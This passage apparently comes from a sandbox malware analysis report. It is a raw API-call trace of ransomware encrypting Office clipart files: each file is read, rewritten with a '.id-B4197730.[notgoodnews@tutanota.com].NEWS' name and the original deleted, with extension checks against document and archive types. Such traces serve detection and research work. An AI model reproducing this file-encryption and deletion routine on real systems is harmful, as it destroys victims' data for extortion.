dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0083.738] GetLastError () returned 0x0 [0083.738] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0xb90, lpOverlapped=0x0) returned 1 [0083.739] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xba0, lpOverlapped=0x0) returned 1 [0083.740] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0083.740] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0083.740] SetEndOfFile (hFile=0x344) returned 1 [0083.740] CloseHandle (hObject=0x344) returned 1 [0083.740] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.740] SetEndOfFile (hFile=0x398) returned 1 [0083.741] CloseHandle (hObject=0x398) returned 1 [0083.741] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0083.741] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf")) returned 1 [0083.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0083.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0083.742] lstrlenW (lpString=".doc") returned 4 [0083.742] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.742] lstrlenW (lpString=".docx") returned 5 [0083.742] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.742] lstrlenW (lpString=".pdf") returned 4 [0083.742] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.742] lstrlenW (lpString=".xls") returned 4 [0083.742] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.742] lstrlenW (lpString=".xlsx") returned 5 [0083.742] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.742] lstrlenW (lpString=".ppt") returned 4 [0083.742] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0083.742] lstrlenW (lpString=".zip") returned 4 [0083.742] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.742] lstrlenW (lpString=".rar") returned 4 [0083.742] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.742] lstrlenW (lpString=".bz2") returned 4 [0083.742] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.742] lstrlenW (lpString=".7z") returned 3 [0083.742] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0083.742] lstrlenW (lpString=".dbf") returned 4 [0083.742] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0083.742] lstrlenW (lpString=".1cd") returned 4 [0083.742] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0083.742] lstrlenW (lpString=".jpg") returned 4 [0083.742] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0083.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0083.742] lstrlenW (lpString=".doc") returned 4 [0083.742] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.742] lstrlenW (lpString=".docx") returned 5 [0083.743] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.743] lstrlenW (lpString=".pdf") returned 4 [0083.743] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.743] lstrlenW (lpString=".xls") returned 4 [0083.743] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.743] lstrlenW (lpString=".xlsx") returned 5 [0083.743] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.743] lstrlenW (lpString=".ppt") returned 4 [0083.743] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0083.743] lstrlenW (lpString=".zip") returned 4 [0083.743] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.743] lstrlenW (lpString=".rar") returned 4 [0083.743] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.743] lstrlenW (lpString=".bz2") returned 4 [0083.743] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.743] lstrlenW (lpString=".7z") returned 3 [0083.743] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0083.743] lstrlenW (lpString=".dbf") returned 4 [0083.743] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0083.743] lstrlenW (lpString=".1cd") returned 4 [0083.743] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0083.743] lstrlenW (lpString=".jpg") returned 4 [0083.743] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.743] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0083.743] lstrlenW (lpString="DD01157_.WMF") returned 12 [0083.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0083.744] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=3588) returned 1 [0083.744] CloseHandle (hObject=0x398) returned 1 [0083.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf")) returned 0x220 [0083.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0083.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0083.744] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.744] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0083.744] GetLastError () returned 0x0 [0083.744] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0xe04, lpOverlapped=0x0) returned 1 [0083.746] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xe10, lpOverlapped=0x0) returned 1 [0083.747] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0083.747] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0083.747] SetEndOfFile (hFile=0x344) returned 1 [0083.747] CloseHandle (hObject=0x344) returned 1 [0083.747] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.747] SetEndOfFile (hFile=0x398) returned 1 [0083.748] CloseHandle (hObject=0x398) returned 1 [0083.748] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0083.748] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf")) returned 1 [0083.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0083.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0083.748] lstrlenW (lpString=".doc") returned 4 [0083.748] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.748] lstrlenW (lpString=".docx") returned 5 [0083.748] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.748] lstrlenW (lpString=".pdf") returned 4 [0083.748] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.749] lstrlenW (lpString=".xls") returned 4 [0083.749] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.749] lstrlenW (lpString=".xlsx") returned 5 [0083.749] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.749] lstrlenW (lpString=".ppt") returned 4 [0083.749] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0083.749] lstrlenW (lpString=".zip") returned 4 [0083.749] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.749] lstrlenW (lpString=".rar") returned 4 [0083.749] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.749] lstrlenW (lpString=".bz2") returned 4 [0083.749] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.749] lstrlenW (lpString=".7z") returned 3 [0083.749] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0083.749] lstrlenW (lpString=".dbf") returned 4 [0083.749] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0083.749] lstrlenW (lpString=".1cd") returned 4 [0083.749] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0083.749] lstrlenW (lpString=".jpg") returned 4 [0083.749] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0083.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0083.749] lstrlenW (lpString=".doc") returned 4 [0083.749] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0083.749] lstrlenW (lpString=".docx") returned 5 [0083.749] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0083.749] lstrlenW (lpString=".pdf") returned 4 [0083.749] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0083.749] lstrlenW (lpString=".xls") returned 4 [0083.749] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0083.749] lstrlenW (lpString=".xlsx") returned 5 [0083.749] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0083.750] lstrlenW (lpString=".ppt") returned 4 [0083.750] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0083.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0083.750] lstrlenW (lpString=".zip") returned 4 [0083.750] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0083.750] lstrlenW (lpString=".rar") returned 4 [0083.750] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0083.750] lstrlenW (lpString=".bz2") returned 4 [0083.750] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0083.750] lstrlenW (lpString=".7z") returned 3 [0083.750] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0083.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0083.750] lstrlenW (lpString=".dbf") returned 4 [0083.750] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0083.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0083.750] lstrlenW (lpString=".1cd") returned 4 [0083.750] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0083.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0083.750] lstrlenW (lpString=".jpg") returned 4 [0083.750] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0083.750] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0083.750] lstrlenW (lpString="DD01160_.WMF") returned 12 [0083.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0083.751] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=2228) returned 1 [0083.751] CloseHandle (hObject=0x398) returned 1 [0083.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf")) returned 0x220 [0083.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0083.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0083.751] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.751] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0083.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0083.752] GetLastError () returned 0x0 [0083.752] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x8b4, lpOverlapped=0x0) returned 1 [0083.753] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x8c0, lpOverlapped=0x0) returned 1 [0083.754] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0083.754] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0083.754] SetEndOfFile (hFile=0x344) returned 1 [0083.754] CloseHandle (hObject=0x344) returned 1 [0084.646] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.646] SetEndOfFile (hFile=0x398) returned 1 [0084.647] CloseHandle (hObject=0x398) returned 1 [0084.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0084.647] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf")) returned 1 [0084.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0084.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0084.648] lstrlenW (lpString=".doc") returned 4 [0084.648] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0084.648] lstrlenW (lpString=".docx") returned 5 [0084.648] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0084.648] lstrlenW (lpString=".pdf") returned 4 [0084.648] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0084.648] lstrlenW (lpString=".xls") returned 4 [0084.648] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0084.648] lstrlenW (lpString=".xlsx") returned 5 [0084.648] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0084.648] lstrlenW (lpString=".ppt") returned 4 [0084.648] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0084.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0084.648] lstrlenW (lpString=".zip") returned 4 [0084.648] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0084.648] lstrlenW (lpString=".rar") returned 4 [0084.648] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0084.648] lstrlenW (lpString=".bz2") returned 4 [0084.648] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0084.648] lstrlenW (lpString=".7z") returned 3 [0084.648] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0084.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0084.648] lstrlenW (lpString=".dbf") returned 4 [0084.648] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0084.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0084.648] lstrlenW (lpString=".1cd") returned 4 [0084.648] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0084.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0084.649] lstrlenW (lpString=".jpg") returned 4 [0084.649] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0084.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0084.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0084.649] lstrlenW (lpString=".doc") returned 4 [0084.649] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0084.649] lstrlenW (lpString=".docx") returned 5 [0084.649] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0084.649] lstrlenW (lpString=".pdf") returned 4 [0084.649] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0084.649] lstrlenW (lpString=".xls") returned 4 [0084.649] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0084.649] lstrlenW (lpString=".xlsx") returned 5 [0084.649] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0084.649] lstrlenW (lpString=".ppt") returned 4 [0084.649] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0084.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0084.649] lstrlenW (lpString=".zip") returned 4 [0084.649] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0084.649] lstrlenW (lpString=".rar") returned 4 [0084.649] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0084.649] lstrlenW (lpString=".bz2") returned 4 [0084.649] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0084.649] lstrlenW (lpString=".7z") returned 3 [0084.649] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0084.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0084.649] lstrlenW (lpString=".dbf") returned 4 [0084.649] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0084.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0084.649] lstrlenW (lpString=".1cd") returned 4 [0084.649] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0084.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0084.649] lstrlenW (lpString=".jpg") returned 4 [0084.650] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0084.650] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0084.650] lstrlenW (lpString="DD01170_.WMF") returned 12 [0084.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0084.650] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=2404) returned 1 [0084.650] CloseHandle (hObject=0x398) returned 1 [0084.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf")) returned 0x220 [0084.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0084.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0084.651] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.651] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0084.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0084.651] GetLastError () returned 0x0 [0084.651] ReadFile (in: hFile=0x398, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, 